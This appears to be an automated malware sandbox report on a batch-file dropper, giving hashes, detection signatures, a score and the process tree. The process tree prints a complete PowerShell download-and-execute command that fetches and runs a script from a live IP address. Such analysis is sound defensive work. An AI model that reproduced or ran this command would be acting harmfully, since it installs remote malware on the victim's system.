Analysis
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max time kernel
149s -
max time network
93s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
04-08-2020 09:10
General
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Target
c7537637f0d43130ee366e47192dafee.bat
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Size
215B
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MD5
fbd7beaf39f98a9eb0c56a0e772d389f
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SHA1
73f16802c6fa6a0c52971bc8d8a04eff13c47a84
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SHA256
7172e83cc79ad9bc4d5de2683b447c5d68bc807882c369dd2c0c9b04839189d7
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SHA512
f45895fc63492fa4e179ca664a275a614c2326c04fa85e9438fa5d9095498bc916cba1ee44b47b8148607d974da6cf3821d6022aaa0eff886c445dd1b7ca82d5
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/c7537637f0d43130ee366e47192dafee
Signatures
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ServiceHost packer 6 IoCs
Detects ServiceHost packer used for .NET malware
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Suspicious use of WriteProcessMemory 3 IoCs
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Program crash 1 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c7537637f0d43130ee366e47192dafee.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/c7537637f0d43130ee366e47192dafee');Invoke-HBZVQZJA;Start-Sleep -s 10000"2⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 908 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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Filesize
4KB
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Filesize
4KB